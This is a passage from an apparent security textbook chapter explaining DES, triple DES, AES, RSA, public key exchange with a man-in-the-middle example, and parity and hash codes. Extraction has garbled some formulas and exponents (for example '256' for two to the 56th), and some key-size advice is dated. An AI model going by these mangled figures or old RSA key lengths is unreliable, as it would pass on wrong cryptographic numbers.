
• High diffusion. Information from the plaintext is diffused into several ciphertext symbols. One ciphertext block may depend on several plaintext letters.

• Immunity to insertion of symbol. Because blocks of symbols are enciphered, it is impossible to insert a single symbol into one block. The length of the block would then be incorrect, and the decipherment would quickly reveal the insertion.

Disadvantages • Low diffusion. Each symbol is separately enciphered. Therefore, all the information of that symbol is contained in one symbol of ciphertext.

• Susceptibility to malicious insertions and modifications. Because each symbol is separately enciphered, an active interceptor who has broken the code can splice pieces of previous messages and transmit a spurious new message that may look authentic.

• Slowness of encryption. The person or machine doing the block ciphering must wait until an entire block of plaintext symbols has been received before starting the encryption process.

• Padding. A final short block must be filled with irrelevant data to make a full-sized block.

• Error propagation. An error will affect the transformation of all other characters in the same block.

96 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

The algorithm begins by encrypting the plaintext as blocks of 64 bits. The key is 64 bits long, but in fact it can be any 56-bit number. (The extra 8 bits are often used as check digits but do not affect encryption in normal implementations. Thus we say that DES uses a key, the strength of which is 56 bits.) The user can pick a new key at will any time there is uncertainty about the security of the old key.

DES uses only standard arithmetic and logical operations on binary data up to 64 bits long, so it is suitable for implementation in software on most current computers. Encrypting with DES involves 16 iterations, each employing replacing blocks of bits (called a substitution step), shuffling the bits (called a permutation step), and mingling in bits from the key (called a key transformation). Although complex, the process is table driven and repetitive, making it suitable for implementation on a single-purpose chip. In fact, several such chips are available on the market for use as basic components in devices that use DES encryption in an application.

Double and Triple DES

As you know, computing power has increased rapidly over the last few decades, and it promises to continue to do so. For this reason, the DES 56-bit key length is not long enough for some people’s comfort. Since the 1970s, researchers and practitioners have been interested in a longer-key version of DES. But we have a problem: The DES algo- rithm design is fixed to a 56-bit key.

Double DES

To address the discomfort, some researchers suggest using a double encryption for greater secrecy. The double encryption works in the following way. Take two keys, k1 and k2, and perform two encryptions, one on top of the other: E(k2, E(k1,m)). In theory, this approach should multiply the difficulty of breaking the encryption, just as two locks are harder to pick than one.

Unfortunately, that assumption is false. Ralph Merkle and Martin Hellman [MER81] showed that two encryptions are scarcely better than one: two encryptions with differ- ent 56-bit keys are equivalent in work factor to one encryption with a 57-bit key. Thus, the double encryption adds only a small amount of extra work for the attacker who is trying to infer the key(s) under which a piece of ciphertext was encrypted. As we soon describe, some 56-bit DES keys have been derived in just days; two times days is still days, when the hope was to add months if not years of work for the second encryption. Alas, double DES adds essentially no more security.

Triple DES

However, a simple trick does indeed enhance the security of DES. Using three keys adds significant strength.

The so-called triple DES procedure is C � E(k3, E(k2, E(k1,m))). That is, you encrypt with one key, then with the second, and finally with a third. This process gives a

DES encrypts 64-bit blocks by using a 56-bit key.

Section 2.3 Cryptography 97

strength roughly equivalent to a 112-bit key (because the double DES attack defeats the strength of one of the three keys, but it has no effect on the third key).

A minor variation of triple DES, which some people also confusingly call triple DES, is C � E(k1, D(k2, E(k1,m))). That is, you encrypt with one key, decrypt with a second, and encrypt with the first again. This version requires only two keys. (The second decrypt step also makes this process work for single encryptions with one key: The decryption cancels the first encryption, so the net result is one encryption. The encrypt–decrypt–encrypt form is handy because one algorithm can produce results for both conventional single-key DES and the more secure two-key method.) This two-key, three-step version is subject to another tricky attack, so its strength is rated at only about 80 bits. Still, 80 bits is beyond reasonable cracking capability for current hardware.

In summary, ordinary DES has a key space of 56 bits, double DES is scarcely better, but two-key triple DES gives an effective length of 80 bits, and three-key triple DES gives a strength of 112 bits. Remember why we are so fixated on key size: If no other way succeeds, the attacker can always try all possible keys. A longer key means signifi- cantly more work for this attack to bear fruit, with the work factor doubling for each additional bit in key length. Now, roughly a half century after DES was created, a 56-bit key is inadequate for any serious confidentiality, but 80- and 112-bit effective key sizes afford reasonable security. We summarize these forms of DES in Table 2-11.

Security of DES

Since it was first announced, DES has been controversial. Many researchers have ques- tioned the security it provides. Because of its association with the U.S. government, specifically the U.S. National Security Agency (NSA) that made certain unexplained changes between what IBM proposed and what the NBS actually published, some peo- ple have suspected that the algorithm was somehow weakened, to allow the government

TABLE 2-11 Forms of DES

Form Operation Properties Strength

DES Encrypt with one key 56-bit key Inadequate for high-security applications by today’s computing capabilities

Double DES Encrypt with first key; then encrypt result with second key

Two 56-bit keys Only doubles strength of 56-bit key version

Two-key triple DES

Encrypt with first key, then encrypt (or decrypt) result with second key, then encrypt result with first key (E-D-E)

Two 56-bit keys Gives strength equivalent to about 80-bit key (about 16 million times as strong as 56-bit version)

Three-key triple DES

Encrypt with first key, then encrypt or decrypt result with second key, then encrypt result with third key (E-E-E)

Three 56-bit keys Gives strength equivalent to about 112-bit key about 72 quintillion (72*1015) times as strong as 56-bit version

98 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

to snoop on encrypted data. Much of this controversy has appeared in the open litera- ture, but certain DES features have neither been revealed by the designers nor inferred by outside analysts.

Whitfield Diffie and Martin Hellman [DIF77] argued in 1977 that a 56-bit key is too short. In 1977, it was prohibitive to test all 256 (approximately 1015) keys on then cur- rent computers. But they argued that over time, computers would become more power- ful and the DES algorithm would remain unchanged; eventually, the speed of computers would exceed the strength of DES. Exactly that happened about 20 years later. In 1997, researchers using a network of over 3,500 machines in parallel were able to infer a DES key in four months’ work. And in 1998 for approximately $200,000 U.S. researchers built a special “DES cracker” machine that could find a DES key in approximately four days, a result later improved to a few hours [EFF98].

Does this mean DES is insecure? No, not exactly. No one has yet shown serious flaws in the DES algorithm itself. The 1997 attack required a great deal of coopera- tion, and the 1998 machine is rather expensive. But even if conventional DES can be attacked, triple DES is still well beyond the power of these attacks. Remember the impact of exponential growth: Let us say, for simplicity, that single-key DES can be broken in one hour. The simple double-key version could then be broken in two hours. But 280/256 � 224, which is over 16,700,000, meaning it would take 16 million hours, nearly 2,000 years, to defeat a two-key triple DES encryption, and considerably longer for the three-key version.

Nevertheless, the basic structure of DES with its fixed-length 56-bit key and fixed number of iterations makes evident the need for a new, stronger, and more flexible algo- rithm. In 1995, the NIST began the search for a new, strong encryption algorithm. The response to that search has become the Advanced Encryption Standard, or AES.

AES: Advanced Encryption System

After a public competition and review, NIST selected an algorithm named Rijndael as the new advanced encryption system; Rijndael is now known more widely as AES. AES was adopted for use by the U.S. government in December 2001 and became Fed- eral Information Processing Standard 197 [NIS01]. AES is likely to be the commer- cial-grade symmetric algorithm of choice for years, if not decades. Let us look at it more closely.

Overview of Rijndael

Rijndael is a fast algorithm that can easily be implemented on simple processors. Although it has a strong mathematical foundation, it primarily uses substitution, trans- position, the shift, exclusive OR, and addition operations. Like DES, AES uses repeat cycles.

There are 10, 12, or 14 cycles for keys of 128, 192, and 256 bits, respectively. In Rijndael, the cycles are called “rounds.” Each round consists of four steps that substitute and scramble bits. Bits from the key are frequently combined with intermediate result bits, so key bits are also well diffused throughout the result. Furthermore, these four steps are extremely fast. The AES algorithm is depicted in Figure 2-22.

Section 2.3 Cryptography 99

Strength of the Algorithm

The characteristics and apparent strength of DES and AES are compared in Table 2-12. Remember, of course, that these strength figures apply only if the implementation and use are robust; a strong algorithm loses strength if used with a weakness that lets outsid- ers determine key properties of the encrypted data.

Moreover, the number of cycles can be extended in a natural way. With DES the algorithm was defined for precisely 16 cycles; to extend that number would require substantial redefinition of the algorithm. The internal structure of AES has no a priori limitation on the number of cycles. If a cryptanalyst ever concluded that 10 or 12 or 14 rounds were too low, the only change needed to improve the algorithm would be to change the limit on a repeat loop.

A mark of confidence is that the U.S. government has approved AES for protecting Secret and Top Secret classified documents. This is the first time the United States has ever approved the use of a commercial algorithm derived outside the government (and furthermore, outside the United States) to encrypt classified data.


k k k k

1. Byte Sub

2. Shift Row

3. Mix Columns

4. Add Round Key

Repeat n Times

FIGURE 2-22 AES Encryption Algorithm

100 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

However, we cannot rest on our laurels. No one can predict now what limitations cryptanalysts might identify in the future. Fortunately, talented cryptologists continue to investigate even stronger algorithms that will be able to replace AES when it becomes obsolete. At present, AES seems to be a significant improvement over DES, and it can be improved in a natural way if necessary. DES is still in widespread use, but AES is also widely adopted, particularly for new applications.

Public Key Cryptography

So far, we have looked at encryption algorithms from the point of view of making the scrambling easy for the sender (so that encryption is fast and simple) and the decryption easy for the receiver but not for an intruder. But this functional view of transforming plaintext to ciphertext is only part of the picture. We must also figure out how to dis- tribute encryption keys. We have noted how useful keys can be in deterring an intruder, but the key must remain secret for it to be effective. The encryption algorithms we have presented so far are called symmetric or secret-key algorithms. The two most widely used symmetric algorithms, DES and AES, operate similarly: Two users have copies of the same key. One user uses the algorithm to encrypt some plaintext under the key, and the other user uses an inverse of the algorithm with the same key to decrypt the ciphertext. The crux of this issue is that all the power of the encryption depends on the secrecy of the key.

TABLE 2-12 Comparison of DES and AES


Date designed 1976 1999

Block size 64 bits 128 bits

Key length 56 bits (effective length); up to 112 bits with multiple keys

128, 192, 256 (and possibly more) bits

Operations 16 rounds 10, 12, 14 (depending on key length); can be increased

Encryption primitives

Substitution, permutation Substitution, shift, bit mixing

Cryptographic primitives

Confusion, diffusion Confusion, diffusion

Design Open Open

Design rationale Closed Open

Selection process

Secret Secret, but open public comments and criticisms invited

Source IBM, enhanced by NSA Independent Dutch cryptographers

Section 2.3 Cryptography 101

In 1976, Whitfield Diffie and Martin Hellman [DIF76] invented public key cryptog- raphy, a new kind of encryption. With a public key encryption system, each user has two keys, one of which does not have to be kept secret. Although counterintuitive, in fact the public nature of the key does not compromise the secrecy of the system. Instead, the basis for public key encryption is to allow the key to be divulged but to keep the decryp- tion technique secret. Public key cryptosystems accomplish this goal by using two keys: one to encrypt and the other to decrypt. Although these keys are produced in mathemati- cally related pairs, an outsider is effectively unable to use one key to derive the other.

In this section, we look at ways to allow the key to be public but still protect the message. We also focus on the RSA algorithm, a popular, commercial-grade public key system. Other algorithms, such as elliptic curve cryptosystems [MIL85, KOB87] and the El Gamal algorithm [ELG85], both of which we cover in Chapter 12, operate simi- larly (although the underlying mathematics are very different). We concentrate on RSA because many applications use it. We also present a mathematical scheme by which two users can jointly construct a secret encryption key without having any prior secrets.


Why should making the key public be desirable? With a conventional symmetric key system, each pair of users needs a separate key. But with public key systems, anyone using a single public key can send a secret message to a user, and the message remains adequately protected from being read by an interceptor. Let us investigate why this is so.

Recall that in general, an n-user system requires n * (n � 1)/2 keys, and each user must track and remember a key for each other user with whom he or she wants to com- municate. As the number of users grows, the number of keys increases rapidly, as shown in Figure 2-23. Determining and distributing these keys is a problem. A more serious

FIGURE 2-23 Explosion in Number of Keys





Existing Users





F New User

New Key s to Be Added

102 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

problem is maintaining security for the keys already distributed—we cannot expect users to memorize so many keys. Worse, loss or exposure of one user’s keys requires setting up a new key pair with each of that user’s correspondents.


We can reduce the problem of key proliferation by using a public key approach. In a public key or asymmetric encryption system, each user has two keys: a public key and a private key. The user may freely publish the public key because each key does only encryption or decryption, but not both. The keys operate as inverses, meaning that one key undoes the encryption provided by the other key. But deducing one key from the other is effectively impossible.

To see how, let kPRIV be a user’s private key, and let kPUB be the corresponding public key. Then, encrypted plaintext using the public key is decrypted by application of the private key; we write the relationship as

P � D(kPRIV, E(kPUB,P))

That is, a user can decode with a private key what someone else has encrypted with the corresponding public key. Furthermore, with some public key encryption algorithms, including RSA, we have this relationship:

P � D(kPUB, E(kPRIV,P))

In other words, a user can encrypt a message with a private key, and the message can be revealed only with the corresponding public key.

These two properties tell us that public and private keys can be applied in either order. In particular, the decryption function D can be applied to any argument so that we can decrypt before we encrypt. With conventional encryption, we seldom think of decrypting before encrypting. But the concept makes sense with public keys, where it simply means applying the private transformation first and then the public one.

We have noted that a major problem with symmetric encryption is the sheer number of keys a single user has to store and track. With public keys, only two keys are needed per user: one public and one private. Let us see what difference this makes in the num- ber of keys needed. Suppose we have three users, B, C, and D, who must pass protected messages to user A as well as to each other. Since each distinct pair of users needs a key, each user would need three different keys; for instance, A would need a key for B, a key for C, and a key for D. But using public key encryption, each of B, C, and D can encrypt messages for A by using A’s public key. If B has encrypted a message using A’s public key, C cannot decrypt it, even if C knew it was encrypted with A’s public key. Apply- ing A’s public key twice, for example, would not decrypt the message. (We assume, of course, that A’s private key remains secret.) Thus, the number of keys needed in the public key system is only two per user.

The Rivest–Shamir–Adelman (RSA) Algorithm

The Rivest–Shamir–Adelman (RSA) cryptosystem is a public key system. Based on an underlying hard problem and named after its three inventors (Ronald Rivest,

Section 2.3 Cryptography 103

Adi Shamir, and Leonard Adleman), this algorithm was introduced in 1978 [RIV78]. Cryptanalysts have subjected RSA to extensive cryptanalysis, but they have found no serious flaws.

The two keys used in RSA, d and e, are used for decryption and encryption. They are actually interchangeable: Either can be chosen as the public key, but one having been chosen, the other one must be kept private. For simplicity, we call the encryption key e and the decryption key d. We denote plaintext as P and its corresponding ciphertext as C. C � RSA(P,e). Also, because of the nature of the RSA algorithm, the keys can be applied in either order:

P � E(D(P)) � D(E(P))


P � RSA(RSA(P,e), d) � RSA(RSA(P,d), e)

(You can think of E and D as two complementary functions, each of which can “undo” the other’s effect.)

RSA does have the unfortunate property that the keys are long: 256 bits is considered the minimum usable length, but in most contexts experts prefer keys on the order of 1000 to 2000 bits. Encryption in RSA is done by exponentiation, raising each plaintext block to a power; that power is the key e. In contrast to fast substitution and transposi- tion of symmetric algorithms, exponentiation is extremely time-consuming on a com- puter. Even worse, the time to encrypt increases exponentially as the exponent (key) grows longer. Thus, RSA is markedly slower than DES and AES.

The encryption algorithm is based on the underlying problem of factoring large num- bers in a finite set called a field. So far, nobody has found a shortcut or easy way to factor large numbers in a field. In a highly technical but excellent paper, Dan Boneh [BON99] reviews all the known cryptanalytic attacks on RSA and concludes that none is significant. Because the factorization problem has been open for many decades, most cryptographers consider this problem a solid basis for a secure cryptosystem.

To summarize, the two symmetric algorithms DES and AES provide solid encryption of blocks of 64 to 256 bits of data. The asymmetric algorithm RSA encrypts blocks of various sizes. DES and AES are substantially faster than RSA, by a factor of 10,000 or more, and their rather simple primitive operations have been built into some computer chips, making their encryption even more efficient than RSA. Therefore, people tend to use DES and AES as the major cryptographic workhorses, and reserve slower RSA for limited uses at which it excels.

The characteristics of secret key (symmetric) and public key (asymmetric) algo- rithms are compared in Table 2-13.

Public Key Cryptography to Exchange Secret Keys

Encryption algorithms alone are not the answer to everyone’s encryption needs. Although encryption implements protected communications channels, it can also be used for other duties. In fact, combining symmetric and asymmetric encryption often capitalizes on the best features of each.

104 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Suppose you need to send a protected message to someone you do not know and who does not know you. This situation is more common than you may think. For instance, you may want to send your income tax return to the government. You want the informa- tion to be protected, but you do not necessarily know the person who is receiving the information. Similarly, you may want to purchase from a shopping website, exchange private (encrypted) email, or arrange for two hosts to establish a protected channel. Each of these situations depends on being able to exchange an encryption key in such a way that nobody else can intercept it. The problem of two previously unknown par- ties exchanging cryptographic keys is both hard and important. Indeed, the problem is almost circular: To establish an encrypted session, you need an encrypted means to exchange keys.

Public key cryptography can help. Since asymmetric keys come in pairs, one half of the pair can be exposed without compromising the other half. In fact, you might think of the public half of the key pair as truly public—posted on a public website, listed in a public directory similar to a telephone listing, or sent openly in an email message. That is the beauty of public key cryptography: As long as the private key is not disclosed, a public key can be open without compromising the security of the encryption.

Simple Key Exchange Protocol

Suppose that a sender, Amy, and a receiver, Bill, both have pairs of asymmetric keys for a common encryption algorithm. We denote any public key encryption function as E(k, X), meaning perform the public key encryption function on X by using key k. Call the keys kPRIV-A, kPUB-A, kPRIV-B, and kPUB-B, for the private and public keys for Amy and Bill, respectively.

TABLE 2-13 Comparison of Secret Key and Public Key Encryption

Secret Key (Symmetric) Public Key (Asymmetric)

Number of keys 1 2

Key size (bits) Depends on the algorithm; 56–112 (DES), 128–256 (AES)

Unlimited; typically no less than 256; 1000 to 2000 currently considered desirable for most uses

Protection of key

Must be kept secret One key must be kept secret; the other can be freely exposed

Best uses Cryptographic workhorse. Secrecy and integrity of data, from single characters to blocks of data, messages and files

Key exchange, authentication, signing

Key distribution Must be out-of-band Public key can be used to distribute other keys

Speed Fast Slow, typically by a factor of up to 10,000 times slower than symmetric algorithms

Section 2.3 Cryptography 105

The problem we want to solve is for Amy and Bill to be able to establish a secret (symmetric algorithm) encryption key that only they know. The simplest solution is for Amy to choose any symmetric key K, and send E(kPRIV-A, K) to Bill. Bill takes Amy’s public key, removes the encryption, and obtains K.

This analysis is flawed, however. How does the sender know the public key really belongs to the intended recipient? Consider, for example, the following scenario. Sup- pose Amy and Bill do not have a convenient bulletin board. So, Amy just asks Bill for his key. Basically, the key exchange protocol, depicted in Figure 2-24, would work like this:

1. Amy says: Bill, please send me your public key. 2. Bill replies: Here, Amy; this is my public key. 3. Amy responds: Thanks. I have generated a symmetric key for us to use for

this interchange. I am sending you the symmetric key encrypted under your public key.

In the subversion shown in Figure 2-25, we insert an attacker, Malvolio, into this communication.

1. Amy says: Bill, please send me your public key. 1a. Malvolio intercepts the message and fashions a new message to Bill, purport-

ing to come from Amy but with Malvolio’s return address, asking for Bill’s public key.

2. Bill replies: Here, Amy; this is my public key. (Because of the return address in step 1a, this reply goes to Malvolio.)

2a. Malvolio holds Bill’s public key and sends Malvolio’s own public key to Amy, alleging it is from Bill.

3. Amy responds: Thanks. I have generated a symmetric key for us to use for this interchange. I am sending you the symmetric key encrypted under your public key.

4 ., 5

abc 6 def

9 wxyz

8 tuv

7 pqrs

Bill, give me your public key

Here is my key, Amy



3 Here is a symmetric key we can use

6m no

5 jkl

1 .,



9w xyz




FIGURE 2-24 Key Exchange Protocol

106 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

3a. Malvolio intercepts this message and obtains and holds the symmetric key Amy has generated.

3b. Malvolio generates a new symmetric key and sends it to Bill, with a message purportedly from Amy: Thanks. I have generated a symmetric key for us to use for this interchange. I am sending you the symmetric key encrypted under your public key.

In summary, Malvolio now holds two symmetric encryption keys, one each shared with Amy and Bill. Not only can Malvolio stealthily obtain all their interchanges, but Amy and Bill cannot communicate securely with each other because neither shares a key with the other.

From this point on, all communications pass through Malvolio. Having both sym- metric keys, Malvolio can decrypt anything received, modify it, encrypt it under the other key, and transmit the modified version to the other party. Neither Amy nor Bill is aware of the switch. This attack is a type of man-in-the-middle4 failure, in which an unauthorized third party intercedes in an activity presumed to be exclusively between two people. See Sidebar 2-15 for an example of a real-world man-in-the-middle attack.

Bill, give me your public key


Here is my key, Amy 2

3a Here is another symmetric key

No, give it to me1a

Here is the middle’s key 2a

Here is the symmetric key3

4 ., 5

abc 6 def

9wxyz 8


7 pqrs


5jkl 1








FIGURE 2-25 Key Exchange Protocol with a Man in the Middle

4. Alas, this terminology is hopelessly sexist. Even if we called these attacks person-in-the-middle or intrud- er-in-the-middle in this book, you would find only the term man-in-the-middle used by other writers, who also use terms like man-in-the-browser and man-in-the-phone, which arise in Chapter 4 of this book. Thus, we are regrettably stuck with the conventional term.

Section 2.3 Cryptography 107

Revised Key Exchange Protocol

Remember that we began this discussion with a man-in-the-middle attack against a simple key exchange protocol. The faulty protocol was

1. A says: B, please send me your public key. 2. B replies: Here, A; this is my public key. 3. A responds: Thanks. I have generated a symmetric key for us to use for this inter-

change. I am sending you the symmetric key encrypted under your public key.

At step 2 the intruder intercepts B’s public key and passes along the intruder’s. The intruder can be foiled if A and B exchange half a key at a time. Half a key is useless to the intruder because it is not enough to encrypt or decrypt anything. Knowing half the key does not materially improve the intruder’s ability to break encryptions in the future.

Rivest and Shamir [RIV84] have devised a solid protocol as follows.

1. Amy sends her public key to Bill. 2. Bill sends his public key to Amy.

SIDEBAR 2-15 Aspidistra, a WW II Man in the Middle

During World War II Britain used a man-in-the-middle attack to delude Ger- man pilots and civilians. Aspidistra, the name of a common houseplant also known as cast-iron plant for its seeming ability to live forever, was also the name given to a giant radio transmitter the British War Office bought from RCA in 1942. The transmitter broadcast at 500 kW of power, ten times the power allowed to any U.S. station at the time, which meant Aspidistra was able to transmit signals from Britain into Germany.

Part of the operation of Aspidistra was to delude German pilots by broadcasting spurious directions (land, go here, turn around). Although the pilots also received valid flight instructions from their own controllers, this additional chatter confused them and could result in unnecessary flight and lost time. This part of the attack was only an impersonation attack.

Certain German radio stations in target areas were turned off to pre- vent their being beacons by which Allied aircraft could home in on the signal; bombers would follow the signal and destroy the antenna and its nearby transmitter if the stations broadcast continually. When a station was turned off, the British immediately went on the air using Aspidistra on the same frequency as the station the Germans just shut down. They copied and rebroadcast a program from another German station, but they inter- spersed propaganda messages that could demoralize German citizens and weaken support for the war effort.

The Germans tried to counter the phony broadcasts by advising lis- teners that the enemy was transmitting and advising the audience to listen for the official German broadcast announcement—which, of course, the British duly copied and broadcast themselves. (More details and pictures are at, and

108 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

3. Amy creates a symmetric key, encrypts it using Bill’s public key, and sends half of the result to Bill. (Note: half of the result might be the first n/2 bits, all the odd numbered bits, or some other agreed-upon form.)

4. Bill responds to Amy that he received the partial result (which he cannot interpret at this point, so he is confirming only that he received some bits). Bill encrypts any random number with Amy’s public key and sends half the bits to Amy.

5. Amy sends the other half of the encrypted result to Bill. 6. Bill puts together the two halves of Amy’s result, decrypts it using his private

key and thereby obtains the shared symmetric key. Bill sends the other half of his encrypted random number to Amy.

7. Amy puts together the two halves of Bill’s random number, decrypts it using her private key, extracts Bill’s random number, encrypts it using the now-shared symmetric key, and sends that to Bill.

8. Bill decrypts Amy’s transmission with the symmetric key and compares it to the random number he selected in step 6. A match confirms the validity of the exchange.

To see why this protocol works, look at step 3. Malvolio, the intruder, can certainly intercept both public keys in steps 1 and 2 and substitute his own. However, at step 3 Malvolio cannot take half the result, decrypt it using his private key, and reencrypt it under Bill’s key. Bits cannot be decrypted one by one and reassembled.

At step 4 Bill picks any random number, which Amy later returns to Bill to show she has successfully received the encrypted value Bill sent. Such a random value is called a nonce, a value meaningless in and of itself, to show activity (liveness) and originality (not a replay). In some protocols the receiver decrypts the nonce, adds 1 to it, reen- crypts the result, and returns it. Other times the nonce includes a date, time, or sequence number to show that the value is current. This concept is used in computer-to-computer exchanges that lack some of the characteristics of human interaction.


The problem of the person in the middle can be solved in another way: Amy should send to Bill

E(kPUB-B, E(kPRIV-A, K))

This function ensures that only Bill, using kPRIV-B, can remove the encryption applied with kPUB-B, and Bill knows that only Amy could have applied kPRIV-A that Bill removes with kPUB-A.

We can think of this exchange in terms of locks and seals. Anyone can put a letter into a locked mailbox (through the letter slot), but only the holder of the key can remove it. In olden days, important people had seals that they would impress into molten wax on a letter; the seal’s imprint showed authenticity, but anyone could break the seal and read the letter. Putting these two pieces together, a sealed letter inside a locked mailbox enforces the authenticity of the sender (the seal) and the confidentiality of the receiver (the locked mailbox).

Section 2.3 Cryptography 109

If Amy wants to send something protected to Bill (such as a credit card number or a set of medical records), then the exchange works something like this. Amy seals the protected information with her private key so that it can be opened only with Amy’s public key. This step ensures authenticity: only Amy can have applied the encryption that is reversed with Amy’s public key. Amy then locks the information with Bill’s public key. This step adds confidentiality because only Bill’s private key can decrypt data encrypted with Bill’s public key. Bill can use his private key to open the letter box (something only he can do) and use Amy’s public key to verify the inner seal (proving that the package came from Amy).

Thus, as we have seen, asymmetric cryptographic functions are a powerful means for exchanging cryptographic keys between people who have no prior relationship. Asym- metric cryptographic functions are slow, but they are used only once, to exchange sym- metric keys. Furthermore, if the keys being exchanged are for a symmetric encryption system such as AES or DES, the key length is relatively short, up to 256 bits for AES or 64 for DES. Even if we were to use an expanded form of AES with a key length of 1000 bits, the slow speed of public key cryptography would not be a significant problem because it is performed only once, to establish shared keys.

Asymmetric cryptography is also useful for another important security construct: a digital signature. A human signature on a paper document is a strong attestation: it signifies both agreement (you agree to the terms in the document you signed) and understanding (you know what you are signing). People accept written signatures as a surrogate for an in-person confirmation. We would like a similarly powerful construct for confirming electronic documents. To build a digital signature we introduce integrity codes, key certificates, and, finally, signatures themselves.

Error Detecting Codes

Communications are notoriously prone to errors in transmission. You may have noticed that occasionally a mobile phone conversation will skip or distort a small segment of the conversation, and television signals sometimes show problems commonly called noise. In these cases, complete and accurate reception is not important as long as the noise is relatively slight or infrequent. You can always ask your phone partner to repeat a sen- tence, and a winning goal on television is always rebroadcast numerous times.

With important data, however, we need some way to determine that the transmission is complete and intact. Mathematicians and engineers have designed formulas called error detection and correction codes to make transmission errors apparent and to per- form minor repairs.

Error detecting codes come under many names, such as hash codes, message digests, checksums, integrity checks, error detection and correction codes, and redundancy tests. Although these terms have fine differences of meaning, the basic purpose of all is to demonstrate that a block of data has been modified. That sentence is worded carefully: A message digest will (sometimes) signal that content has changed, but it is less solid at demonstrating no modification, even though that is what we really want. We want something to show no tampering—malicious or not; we get something that usually shows tampering.

110 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Sam writes a letter, makes and keeps a photocopy, and sends the original to Theresa. Along the way, Fagin intercepts the letter and makes changes; being a skilled forger, Fagin deceives Theresa. Only when Theresa and Sam meet and compare the (modified) original do they detect the change.

The situation is different if Sam and Theresa suspect a forger is nigh. Sam carefully counts the letters in his document, tallying 1 for an a, 2 for a b, and so on up to 26 for a z. He adds those values and writes the sum in tiny digits at the bottom of the letter. When Teresa receives the letter she does the same computation and compares her result to the one written at the bottom. Three cases arise:

• the counts to do not agree, in which case Theresa suspects a change

• there is no count, in which case Theresa suspects either that Sam was lazy or forgetful or that a forger overlooked their code

• Teresa’s count is the same as written at the bottom

The last case is the most problematic. Theresa probably concludes with relief that there was no change. As you may have already determined, however, she may not be thinking correctly. Fagin might catch on to the code and correctly compute a new sum to match the modifications. Even worse, perhaps Fagin’s changes happen to escape detection. Suppose Fagin removes one letter c (value�3) and replaces it with three cop- ies of the letter a (value�1�1�1�3); the sum is the same, or if Fagin only permutes letters, the sum remains the same, because it is not sensitive to order.

These problems all arise because the code is a many-to-one function: two or more inputs produce the same output. Two inputs that produce the same output are called a collision. In fact, all message digests are many-to-one functions, and thus when they report a change, one did occur, but when they report no change, it is only likely—not certain—that none occurred because of the possibility of a collision.

Collisions are usually not a problem for two reasons. First, they occur infrequently. If plaintext is reduced to a 64-bit digest, we expect the likelihood of a collision to be 1 in 264, or about 1 in 1019, most unlikely, indeed. More importantly, digest functions are unpredictable, so given one input, finding a second input that results in the same output is infeasible. Thus, with good digest functions collisions are infrequent, and we cannot cause or predict them.

We can use error detecting and error correcting codes to guard against modification of data. Detection and correction codes are procedures or functions applied to a block of data; you may be familiar with one type of detecting code: parity. These codes work as their names imply: Error detecting codes detect when an error has occurred, and error correcting codes can actually correct errors without requiring a copy of the original data. The error code is computed and stored safely on the presumed intact, original data; later anyone can recompute the error code and check whether the received result matches the expected value. If the values do not match, a change has certainly occurred; if the values match, it is probable—but not certain—that no change has occurred.


The simplest error detection code is a parity check. An extra bit, which we call a finger- print, is added to an existing group of data bits, depending on their sum. The two kinds of

Section 2.3 Cryptography 111

parity are called even and odd. With even parity the fingerprint is 0 if the sum of the data bits is even, and 1 if the sum is odd; that is, the parity bit is set so that the sum of all data bits plus the parity bit is even. Odd parity is the same except the overall sum is odd. For example, the data stream 01101101 would have an even parity bit of 1 (and an odd parity bit of 0) because 0�1�1�0�1�1�0�1 � 5 � 1 � 6 (or 5 � 0 � 5 for odd parity).

One parity bit can reveal the modification of a single bit. However, parity does not detect two-bit errors—cases in which two bits in a group are changed. One parity bit can detect all single-bit changes, as well as changes of three, five and seven bits. Table 2-14 shows some examples of detected and undetected changes. The changed bits (each line shows changes from the original value of 00000000) are in bold, underlined; the table shows whether parity properly detected that at least one change occurred.

Detecting odd numbers of changed bits leads to a change detection rate of about 50 percent, which is not nearly good enough for our purposes. We can improve this rate with more parity bits (computing a second parity bit of bits 1, 3, 5, and 7, for example), but more parity bits increase the size of the fingerprint; each time we increase the fin- gerprint size we also increase the size of storing these fingerprints.

Parity signals only that a bit has been changed; it does not identify which bit has been changed, much less when, how, or by whom. On hardware storage devices, a code called a cyclic redundancy check detects errors in recording and playback. Some more complex codes, known as error correction codes, can detect multiple-bit errors (two or more bits changed in a data group) and may be able to pinpoint the changed bits (which are the bits to reset to correct the modification). Fingerprint size, error detection rate, and correction lead us to more powerful codes.

Hash Codes

In most files, the elements or components of the file are not bound together in any way. That is, each byte or bit or character is independent of every other one in the file. This

TABLE 2-14 Changes Detected by Parity

Original Data Parity

Bit Modified Data Modification


0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 Yes

0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 Yes

0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 1 No

0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 1 1 No

0 0 0 0 0 0 0 0 1 0 0 0 0 0 1 1 1 Yes

0 0 0 0 0 0 0 0 1 0 0 0 0 1 1 1 1 No

0 0 0 0 0 0 0 0 1 0 1 0 1 0 1 0 1 No

0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 No

112 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

lack of binding means that changing one value affects the integrity of the file but that one change can easily go undetected.

What we would like to do is somehow put a seal or shield around the file so that we can detect when the seal has been broken and thus know that something has been changed. This notion is similar to the use of wax seals on letters in medieval days; if the wax was broken, the recipient would know that someone had broken the seal and read the message inside. In the same way, cryptography can be used to seal a file, encasing it so that any change becomes apparent. One technique for providing the seal is to com- pute a function, sometimes called a hash or checksum or message digest of the file.

The code between Sam and Theresa is a hash code. Hash codes are often used in communications where transmission errors might affect the integrity of the transmit- ted data. In those cases the code value is transmitted with the data. Whether the data or the code value was marred, the receiver detects some problem and simply requests a retransmission of the data block.

Such a protocol is adequate in cases of unintentional errors but is not intended to deal with a dedicated adversary. If Fagin knows the error detection function algorithm, then he can change content and fix the detection value to match. Thus, when a mali- cious adversary might be involved, secure communication requires a stronger form of message digest.

One-Way Hash Functions

